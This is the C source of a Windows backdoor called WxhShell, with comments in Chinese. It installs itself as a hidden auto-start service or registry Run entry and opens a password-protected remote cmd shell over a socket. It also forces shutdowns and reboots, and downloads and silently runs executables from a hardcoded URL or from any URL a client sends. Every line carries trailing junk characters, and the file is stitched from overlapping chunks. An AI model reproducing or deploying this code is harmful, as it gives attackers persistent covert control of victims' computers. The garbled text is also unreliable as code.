    } >[&ser  
  // 关机 d)0|Q  
  case 'd': { )%<,JD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gD;T"^S+  
    if(Boot(SHUTDOWN)) bM2x (E\O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7{]L{j-  
    else { MEM(uBYKOb  
    closesocket(wsh); 1h#/8 X  
    ExitThread(0); NZO86y/  
    } ac6@E4 _  
    break; :9e4(7~ona  
    } ("YWJJ'H  
  // 获取shell 1<cx!=w'  
  case 's': { ; K,5qs  
    CmdShell(wsh); }=JS d@`_  
    closesocket(wsh); A H=%6oT2  
    ExitThread(0); ArScJ\/Nwv  
    break; RN}joKV  
  } D2J)qCK1)  
  // 退出 C ^c <s  
  case 'x': { RR|X4h0.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); VrWQ]L  
    CloseIt(wsh); ?a*w6,y.  
    break; ~Ye nH  
    } TRJTJM_k  
  // 离开 M`7[hr  
  case 'q': { ,Vl2U"   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); )L7[;(gQ  
    closesocket(wsh); @ 'c(q=K;  
    WSACleanup(); 2jlz#Sk  
    exit(1); ;$8ptB.  
    break; CpK:u! Dn  
        } I!}V+gu=  
  } (N/-blto  
  } x iz+ R9p  
BS?i!Bm7  
  // 提示信息 6pt|Crvu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -8vGvI>  
} Y; iI =U  
  } |onLJY7)  
s Ytn'&$\  
  return; VbTX;?  
} |`pBI0Sjo  
Dm$SW<!l|  
// shell模块句柄 4.Fh4Y:$'  
int CmdShell(SOCKET sock) um%s9  
{ mY[*Cj3WJ  
STARTUPINFO si; atW^^4 :  
ZeroMemory(&si,sizeof(si)); feH&Ug4?G  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -[&Z{1A4x4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gI9nxy  
PROCESS_INFORMATION ProcessInfo; 8k)*f+1o  
char cmdline[]="cmd"; OH@gwC  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 2Nx:Y+[  
  return 0; -SLk8x  
} _zzT[}  
6`%|-o :  
// 自身启动模式 G(wstHT;/  
int StartFromService(void) %Pl |3i  
{ AZ4:3}  
typedef struct ,9"du  
{ Z15 =vsV  
  DWORD ExitStatus; X$G:3uoN  
  DWORD PebBaseAddress; r\}?HS06  
  DWORD AffinityMask; \){_\{&  
  DWORD BasePriority; q(WGvl^r  
  ULONG UniqueProcessId;  Lsai8 B  
  ULONG InheritedFromUniqueProcessId; |eg8F$WU  
}   PROCESS_BASIC_INFORMATION; xi4b;U j  
W$Xr:RU  
PROCNTQSIP NtQueryInformationProcess; PW iuM=E  
cvf?ID84  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; j?T>S]xOX  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +]GP"yv-  
q2OF-.rE  
  HANDLE             hProcess; he@Y1CY  
  PROCESS_BASIC_INFORMATION pbi; <%W&xk  
f3^qO9R  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^UhqV"[7k  
  if(NULL == hInst ) return 0; VC_F Cz  
pAq PHD=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O*lIZ,!n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <AiE~l| D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 68w~I7D>  
Ao*:$:k  
  if (!NtQueryInformationProcess) return 0; XR p60i6f  
lqgR4  !  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2^75|Q  
  if(!hProcess) return 0; {?++T 0  
KY0<N 9{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; QFN9j  
M?;YpaSe+  
  CloseHandle(hProcess);  _VM}]A  
XbeT x  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h,-i\8gq  
if(hProcess==NULL) return 0; #Ye0*`  
pIug$Ke_%  
HMODULE hMod; H;@0L}Nu+}  
char procName[255]; *a0#PfS[  
unsigned long cbNeeded; aIr"!. 4  
F&^&"(H}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1{RA\CF  
T~SkFZ  
  CloseHandle(hProcess); %Wm)  
a+CJJ3T-  
if(strstr(procName,"services")) return 1; // 以服务启动 #7sxb  
A[`c+&  
  return 0; // 注册表启动 ~(NFjCUY?  
} (&V)D?/hS  
\d:Uq5d)0  
// 主模块 ^y93h8\y  
int StartWxhshell(LPSTR lpCmdLine) [9}<N2,9z  
{ ,J<+Wxz  
  SOCKET wsl; w@YPG{"j  
BOOL val=TRUE; 3h%Nd &_9  
  int port=0; /QCg E ~  
  struct sockaddr_in door; aI}htb{m`  
FPZ@6  
  if(wscfg.ws_autoins) Install(); @at*E%T[  
"(~fl<;  
port=atoi(lpCmdLine); n$h+_xN  
$GQEdVSNo  
if(port<=0) port=wscfg.ws_port; - K"L6m|  
.b!HEi<F  
  WSADATA data; ti]8_vP}*  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x>Dix1b:.  
5p-vSWr !  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   hYA1N&yz@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c=a;<,Rzb  
  door.sin_family = AF_INET; \l# H#~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %kH,Rl\g  
  door.sin_port = htons(port); \<y|[  
-]YsiE?r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pe).  
closesocket(wsl); _j{)%%?r  
return 1; 1Mx2%  
} Y(ClG*6 ++  
*_Ih@f H  
  if(listen(wsl,2) == INVALID_SOCKET) { 7 4(bo \  
closesocket(wsl); qC=ZH#  
return 1; 7C_U:x  
} Dr(;A>?qG  
  Wxhshell(wsl); !+YSc&R_fW  
  WSACleanup(); 1gvh6eE F  
V1,~GpNx  
return 0; |TJu|zv^  
jxq89x  
} x[BA <UNO  
C nD3%%  
// 以NT服务方式启动 Fa </  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) OU^I/TU  
{ O`PQ4Q*F  
DWORD   status = 0; #"H<k(-Cz  
  DWORD   specificError = 0xfffffff; %RzkP}1>E  
;7JyL|2  
  serviceStatus.dwServiceType     = SERVICE_WIN32; us<dw@P7{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #k!;=\FV  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; |="Y3}a  
  serviceStatus.dwWin32ExitCode     = 0; 3.=o}!  
  serviceStatus.dwServiceSpecificExitCode = 0; b"w2 2%  
  serviceStatus.dwCheckPoint       = 0; B < HD  
  serviceStatus.dwWaitHint       = 0; &4M,)Q (  
b `cH.v  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f,3K;S-he:  
  if (hServiceStatusHandle==0) return; 83'rQDo)G  
>=1UhHFNI  
status = GetLastError(); Q(Pc  
  if (status!=NO_ERROR) YW8Odm  
{ 8)b*q\ O'  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; z_y@4B6>}  
    serviceStatus.dwCheckPoint       = 0; 'k<~HQr  
    serviceStatus.dwWaitHint       = 0; Z^KWYe'w  
    serviceStatus.dwWin32ExitCode     = status; YPw=iF]  
    serviceStatus.dwServiceSpecificExitCode = specificError; nA=E|$1  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); v|jwz.jM  
    return; 3XUsw1,[  
  } C [8='i26  
N]|)O]/[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; $UdFm8&  
  serviceStatus.dwCheckPoint       = 0; 7L]Y.7>  
  serviceStatus.dwWaitHint       = 0; Go~3L8 '  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :/fT8KCwo  
} : D !/.0  
F7=&CW 0  
// 处理NT服务事件,比如:启动、停止 KJV],6d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) FuFICF7+C  
{ SuBUhzR  
switch(fdwControl) 6Q*zZ]kg  
{ T\7t#Z k  
case SERVICE_CONTROL_STOP: K2tOt7M!  
  serviceStatus.dwWin32ExitCode = 0; N'21I$D  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; V r T0S  
  serviceStatus.dwCheckPoint   = 0; Eqx|k-<a  
  serviceStatus.dwWaitHint     = 0; RNcnE1=  
  { K#y CZ2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C}:_&^DQ  
  } 8`WaUB%  
  return; H1vToIP%  
case SERVICE_CONTROL_PAUSE: r#6djs1  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 4X>=UO``L  
  break; LcHe5Bv%  
case SERVICE_CONTROL_CONTINUE: Wr4Ob*2iD  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8J2U UVA`1  
  break; /86PqKU(P  
case SERVICE_CONTROL_INTERROGATE: 1f2*S$[*L  
  break; i | *r/  
}; -TNb=2en(  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [>:9 #n  
} 8Tp!b %2.  
}SS~uQ;8  
// 标准应用程序主函数 KFM)*Icg\8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~eekv5  
{ % +M,FgW  
d{]2Q9g  
// 获取操作系统版本 ?T'a{ ~]R  
OsIsNt=GetOsVer(); ey U*20  
GetModuleFileName(NULL,ExeFile,MAX_PATH); .wQM_RZJ  
lfLLk?g3k  
  // 从命令行安装 v-B&"XGy:  
  if(strpbrk(lpCmdLine,"iI")) Install(); 1?".R]<{2T  
1X#gHstD  
  // 下载执行文件 N[xa=  
if(wscfg.ws_downexe) { NHaqT@:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &W>%E!F  
  WinExec(wscfg.ws_filenam,SW_HIDE); @dvb%A&Pur  
} .;;:t0PB  
s{0c.M  
if(!OsIsNt) { WiF6*]oI  
// 如果时win9x,隐藏进程并且设置为注册表启动 |'Ksy{lA  
HideProc(); nh/%0=S  
StartWxhshell(lpCmdLine); '77Gg  
} T K Ec ^  
else l3YS_WBSn  
  if(StartFromService()) [4\n(/  
  // 以服务方式启动 zj#8@gbh+  
  StartServiceCtrlDispatcher(DispatchTable); c7 O$< F  
else 5 r&n  
  // 普通方式启动 a,?u 2  
  StartWxhshell(lpCmdLine); JZoH -  
qW9~S0sl  
return 0; B>e},!  
} ?&@a{-  
'2S?4Z  
>s>{+6e  
2U'Vq  
=========================================== c(lG_"q6  
DG 6W ^  
HP[M"u  
}(w9[(K  
7[YulC-pH  
nztnU9OG  
" UiN6-{v<2  
91}kBj  
#include <stdio.h> h@D!/PS  
#include <string.h> SfGl*2  
#include <windows.h> ?w>-ya  
#include <winsock2.h> /jd.<r=_I  
#include <winsvc.h> 4cJka~  
#include <urlmon.h> 'a=QCO 0  
(L !#2Jy  
#pragma comment (lib, "Ws2_32.lib")  *#sY-Gd  
#pragma comment (lib, "urlmon.lib") )'axJ  
~x g#6%<=  
#define MAX_USER   100 // 最大客户端连接数 f9?f!k  
#define BUF_SOCK   200 // sock buffer =(p]L  
#define KEY_BUFF   255 // 输入 buffer ?0'db  
)L$)qfQ~x  
#define REBOOT     0   // 重启 >~rytg]f  
#define SHUTDOWN   1   // 关机 A=\:b^\  
rLI );!^-  
#define DEF_PORT   5000 // 监听端口 }+GIrEDId  
n]v,cfn/=<  
#define REG_LEN     16   // 注册表键长度 I_iXu;UX  
#define SVC_LEN     80   // NT服务名长度 xC-&<s  
_{y4N0  
// 从dll定义API e<HHgC#J  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 'E kuCL  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >1NE6T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1p COLC%1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "uG@gV  
*.A{p ;JC(  
// wxhshell配置信息 2D ' $  
struct WSCFG { bt 0Q6v5  
  int ws_port;         // 监听端口 ,];QzENw  
  char ws_passstr[REG_LEN]; // 口令 W$Op/  
  int ws_autoins;       // 安装标记, 1=yes 0=no B1(T-pr  
  char ws_regname[REG_LEN]; // 注册表键名 xcE<|0N :  
  char ws_svcname[REG_LEN]; // 服务名 Q<fDtf}  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Y]: Ch (Q  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |&AZ95v   
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9"b  =W@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9{XV=a v  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" uN9J?j*ir  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TX$4x~:  
3s$vaV~(a  
}; 9<-7AN}Z  
L3'$"L.|u  
// default Wxhshell configuration Xx e07J~  
struct WSCFG wscfg={DEF_PORT, 3 cF4xUIZ  
    "xuhuanlingzhe", !A&>Eeai  
    1, +$\/HO  
    "Wxhshell", m"RSDM!  
    "Wxhshell", !6l}s$1i|  
            "WxhShell Service", P,={ C6*  
    "Wrsky Windows CmdShell Service", ja+PVf  
    "Please Input Your Password: ", ]r(s02  
  1, uxsi+vkI  
  "http://www.wrsky.com/wxhshell.exe", L_Lhmtm}m  
  "Wxhshell.exe" @agxu-Y  
    }; KU*XRZu)  
Q;y)6+VU4  
// 消息定义模块 3u~V&jl  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; %v, a3^Qu  
char *msg_ws_prompt="\n\r? for help\n\r#>"; G)3Q|Vc  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; P|QM0GI  
char *msg_ws_ext="\n\rExit."; ID8u&:  
char *msg_ws_end="\n\rQuit."; 8>a%L?BY  
char *msg_ws_boot="\n\rReboot..."; `tEW.s%Y(6  
char *msg_ws_poff="\n\rShutdown..."; 4O:y ?D/e  
char *msg_ws_down="\n\rSave to "; F8d:7`lO@/  
(KnU-E]L  
char *msg_ws_err="\n\rErr!"; _tR?WmNH=  
char *msg_ws_ok="\n\rOK!"; 0artR~*}  
g& ?{^4t]  
char ExeFile[MAX_PATH]; l$g \t]  
int nUser = 0; =a!_H=+4  
HANDLE handles[MAX_USER]; NM0s*s42  
int OsIsNt; Fu[<zA^  
y4j\y ? T8  
SERVICE_STATUS       serviceStatus; H_d^Xk QZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; VhLS*YiSY  
>h{)7Hv  
// 函数声明 }}gtz-w  
int Install(void); 4{CeV7  
int Uninstall(void); ^~JF7u  
int DownloadFile(char *sURL, SOCKET wsh); x<\5Jrqt  
int Boot(int flag); Df.eb|[{  
void HideProc(void); _o'a|=Osx>  
int GetOsVer(void); g1&>.V}!  
int Wxhshell(SOCKET wsl); pmgPBiU>  
void TalkWithClient(void *cs); ~UQX t r  
int CmdShell(SOCKET sock); T*jQzcm~?  
int StartFromService(void); 6 }>CPi#  
int StartWxhshell(LPSTR lpCmdLine); i>%A0.9  
(DY&{vudF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @cu#rWiG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); \/F*JPhy  
XWag+K  
// 数据结构和表定义 L*(`c cU  
SERVICE_TABLE_ENTRY DispatchTable[] = G|.6%-  
{ #&K?N  
{wscfg.ws_svcname, NTServiceMain}, DLD5>  
{NULL, NULL} PpezWo)9  
}; !Wz4BBU8o  
`CY c>n"  
// 自我安装 _t?#  
int Install(void) tui5?\  
{ Hb3t|<z  
  char svExeFile[MAX_PATH]; #MUY!  
  HKEY key; o^v]d7I8b  
  strcpy(svExeFile,ExeFile); iaHL&)[YK  
_f"KB=A_x  
// 如果是win9x系统,修改注册表设为自启动 lx:.9>  
if(!OsIsNt) { xiOAj"}~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {  xq&r|el  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ag6[Nk  
  RegCloseKey(key); Q!70D)O$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qi$nG_<<Z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); X8y :=k,E  
  RegCloseKey(key); OM?FpRVU8  
  return 0; <b-OdOg  
    } ;e6L@)dp9  
  } }U|0F#0$  
} *yYeqm  
else { &Gs/#2XQ  
{LBL8sG  
// 如果是NT以上系统,安装为系统服务 l'7' G$v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); X}g"_wN,g>  
if (schSCManager!=0) -+[~eqRB  
{ ai"N;1/1O|  
  SC_HANDLE schService = CreateService $kccM& B  
  ( -?w3j9kk>  
  schSCManager, jHk.]4&0  
  wscfg.ws_svcname, -J>f,zA  
  wscfg.ws_svcdisp, >4bWXb'S}C  
  SERVICE_ALL_ACCESS, j{YIVX  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S 9|^VU  
  SERVICE_AUTO_START, g%okYH?  
  SERVICE_ERROR_NORMAL, (t5vBUj  
  svExeFile, YmD~&J  
  NULL, .>1vN+  
  NULL, ? (M$r\\  
  NULL, baGV]=j  
  NULL, `jec|i@oO  
  NULL u)vS,dzu  
  ); ^%O$7*  
  if (schService!=0) <Ok7 -:OxA  
  { }U?:al/m  
  CloseServiceHandle(schService); o1thGttVDg  
  CloseServiceHandle(schSCManager); *onVG5<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ; W$.>*O  
  strcat(svExeFile,wscfg.ws_svcname); .E;}.X  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ld 0j!II(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); `4wy *!]  
  RegCloseKey(key); -Gjz+cRns  
  return 0; 4kR;K !@k  
    } Q)\[wYMt  
  } h{ZK;(u$  
  CloseServiceHandle(schSCManager); r,q.RWuII  
} Y$_^f*sFn  
} ,(f({l[J}  
'p)DJUwt  
return 1; !-t"}^)  
} f|Nkk*9$  
>M^:x-mib  
// 自我卸载 XB a^ A  
int Uninstall(void) *ZIX76y<!A  
{ iD/+#UTY  
  HKEY key; S<z8  
N{<5)L~Y  
if(!OsIsNt) { !Wj`U$];  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { jOZ>^5}  
  RegDeleteValue(key,wscfg.ws_regname); =&PO_t5)z  
  RegCloseKey(key); hqV_MeHv'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @u`m6``T  
  RegDeleteValue(key,wscfg.ws_regname); yq!peFu  
  RegCloseKey(key); Y=,9M  
  return 0; Gn4XVzB`O  
  } b>]UNf"-  
} tMXNi\Bj  
} U+aiH U9  
else { 7Kpv fyL{  
_-2;!L#/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); z\YLO%Mm  
if (schSCManager!=0) {kvxz  
{ +BE_t(%p"  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 3 K q /V_  
  if (schService!=0) :w)9 (5  
  { , eSpt#M  
  if(DeleteService(schService)!=0) { GyV uQ51  
  CloseServiceHandle(schService); CZ>Ujw=&k  
  CloseServiceHandle(schSCManager); qRz /$|.  
  return 0; nRT ]oAi  
  } ])q,mH  
  CloseServiceHandle(schService); ]YOWCFAQot  
  } /m i&7C(6  
  CloseServiceHandle(schSCManager); ?Ss~!38  
} O\6gw$  
} 5BK3ix*L  
2*] [M,L0c  
return 1; a'd=szt  
} iiWpm E<,  
 SiJ{  
// 从指定url下载文件 6PC?*^v  
int DownloadFile(char *sURL, SOCKET wsh) y1[@4TY]  
{ "U$](k.<VA  
  HRESULT hr; %*RZxR):  
char seps[]= "/"; h 92KU  
char *token; A`"?~_pHC  
char *file; $GHi9aj_P  
char myURL[MAX_PATH]; FF0~i+5  
char myFILE[MAX_PATH]; Ul3xeu  
vP\6=71Y  
strcpy(myURL,sURL); / %iS\R%ca  
  token=strtok(myURL,seps); Z~[eG"6zI  
  while(token!=NULL) 4~8-^^  
  { #w8.aNU+]  
    file=token; 5 0a';!H  
  token=strtok(NULL,seps); =(~ZmB\  
  } K /%5\h  
b$- g"F  
GetCurrentDirectory(MAX_PATH,myFILE); b5ul|p  
strcat(myFILE, "\\"); J*m7 d4^  
strcat(myFILE, file); &wN}<G e6  
  send(wsh,myFILE,strlen(myFILE),0); r%NzKPW'  
send(wsh,"...",3,0); M#Q"h5l  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wWSE[S$V  
  if(hr==S_OK) G[u{! 2RS  
return 0; : %uaaFl  
else ?b93! Q1  
return 1; nB]mj _)R^  
1&vR7z]*  
} Wtp=1  
#%L_wJB-  
// 系统电源模块 o/[Ks;l  
int Boot(int flag) 1QnaZhu'  
{ ):A.A,skf  
  HANDLE hToken; _;:_ !`  
  TOKEN_PRIVILEGES tkp; }:QoYNq  
N vTp1kI]  
  if(OsIsNt) { G:` So  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NG23  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W|(<z'S  
    tkp.PrivilegeCount = 1; t:xTmK&vt  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UMT}2d%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); B\l0kiNT  
if(flag==REBOOT) { zMM ~4?4  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) .u`A4;;Gw  
  return 0; {xOzxLB;  
} }SyK)W5Y  
else { i6y=3k  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e@S\7Ks  
  return 0; q8,,[R_  
} k ~F ,n  
  }  *I}_g4  
  else { hS>=p O+y  
if(flag==REBOOT) { Qstd;qE~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ln":j?`  
  return 0; M(uJ'Ud/!  
} 73_-7'^mQ  
else { Xq"Es  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c%&*yR  
  return 0; BB ::zBg  
} ZwiXeD+4  
} <*P)"G  
.ud&$-[a  
return 1; c?aOX/C'  
} 3Jq GLR`z3  
&PFq(4  
// win9x进程隐藏模块 zAev@+.ld  
void HideProc(void) q'IMt7}  
{ r=p^~tuyxr  
AJ3Byb=.  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cIK4sOTJ&  
  if ( hKernel != NULL ) <7zz"R  
  { %b~ND?nn-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /zr)9LQY0  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); _a_T`fE&de  
    FreeLibrary(hKernel); ;ZMIYFXRqh  
  } fZ^ad1o  
~y whl'"k  
return; ] ;HCt=I~  
} J4 U]_|  
;Cjj_9e,:  
// 获取操作系统版本 dxH.  
int GetOsVer(void) y(E<MRd8V  
{ Z|)1ftcC  
  OSVERSIONINFO winfo; V 'fri/Z  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8Z)wot  
  GetVersionEx(&winfo); ?crK613 t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) l-x-  
  return 1; c `.BN(  
  else Vn\jUEC  
  return 0; '+'h^  
} @hrIu" '!  
ikb77 ?.  
// 客户端句柄模块 \((5Sd  
int Wxhshell(SOCKET wsl) B@ ms Gb C  
{ ?ef7%0  
  SOCKET wsh; yf-2E_yB  
  struct sockaddr_in client; (T&(PCw|  
  DWORD myID; s0 Z)BR #  
P :%b[7  
  while(nUser<MAX_USER) 'MNCJ;A@V  
{ &5G@YQD1e  
  int nSize=sizeof(client); "D KrQ,L  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Md8<IFi9]Q  
  if(wsh==INVALID_SOCKET) return 1; P8;1,?ou  
A]drNFE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); QXO~DR1  
if(handles[nUser]==0) 0O-"tP8o  
  closesocket(wsh); ( )f)  
else xDsKb_  
  nUser++; uyWw3>  
  } oMOh4NH,x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /}iBrMD{[  
fr$6&HDZ9  
  return 0; ;vbM C74J#  
} {>XoE %  
6Ypc]ym=J  
// 关闭 socket ] ;CJ6gM~  
void CloseIt(SOCKET wsh) a`?Vc}&  
{  5PC:4  
closesocket(wsh); {wDe#c{_  
nUser--; <Of-,PcCV  
ExitThread(0); v!$?;"d+  
} wM3m'# xJ  
-lAY*2Jg  
// 客户端请求句柄 hTcU %Nc  
void TalkWithClient(void *cs) 7r.~L  
{ Ttp%U8-LJR  
/-WmOn*  
  SOCKET wsh=(SOCKET)cs; 4gUx#_AaG  
  char pwd[SVC_LEN]; "/2kf)l{4  
  char cmd[KEY_BUFF]; 2iO{*cB  
char chr[1]; hb %F"Q  
int i,j; @O-\s q  
&] xtx>qg<  
  while (nUser < MAX_USER) { )r)ZmS5O  
Gvvw:]WgF  
if(wscfg.ws_passstr) { <aI}+  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Cb.M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); */K]sQZa  
  //ZeroMemory(pwd,KEY_BUFF); og&h$<uOZt  
      i=0; LnsYtkb r  
  while(i<SVC_LEN) { N.ZuSkRM  
2"%f:?xV{  
  // 设置超时 ` K0PLxSv  
  fd_set FdRead; ]&`=p{Z  
  struct timeval TimeOut; ]mgpd}Y  
  FD_ZERO(&FdRead); ASr@5uFR  
  FD_SET(wsh,&FdRead); .b^!f<j  
  TimeOut.tv_sec=8; >.G#\w  
  TimeOut.tv_usec=0; 7u5H o`  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 3f~znO  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2iOYC0`!  
ZvO1=* J,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "V`DhOG&  
  pwd=chr[0]; |YfJ#Agm+  
  if(chr[0]==0xd || chr[0]==0xa) { GhjqStjS&l  
  pwd=0; 8F's9c,  
  break; \=xS?(v!  
  } RZ ?SiwE  
  i++; |zd5P  
    } w|*D{`O  
{LCKt/Z>P  
  // 如果是非法用户,关闭 socket x~{W(;`!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); N%1nii  
} UdA,.C0  
 x\VP X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); bk a%W@Y%  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fdq5:v?k  
4T v=sP  
while(1) { rq}xuSFI  
oEj$xm_}  
  ZeroMemory(cmd,KEY_BUFF); x-4d VKE*z  
v$5D&Tv  
      // 自动支持客户端 telnet标准   vz1I/IdTd  
  j=0; #TH(:I=[  
  while(j<KEY_BUFF) { .C ,dV7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b^P\Q s*m  
  cmd[j]=chr[0]; H\9ePo\b~  
  if(chr[0]==0xa || chr[0]==0xd) { P_75-0G  
  cmd[j]=0; 036QV M$  
  break; bqx2lQf,_  
  } HEhBOER?  
  j++; )p:+!sX(  
    } _Vt(Eg_\  
I9`ZK2S  
  // 下载文件 \g)?7>M|  
  if(strstr(cmd,"http://")) { :m/qR74+"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); eIN0 T;1T  
  if(DownloadFile(cmd,wsh)) P7l3ZH( g  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); t -fmA?\  
  else pr,1pqiAf  
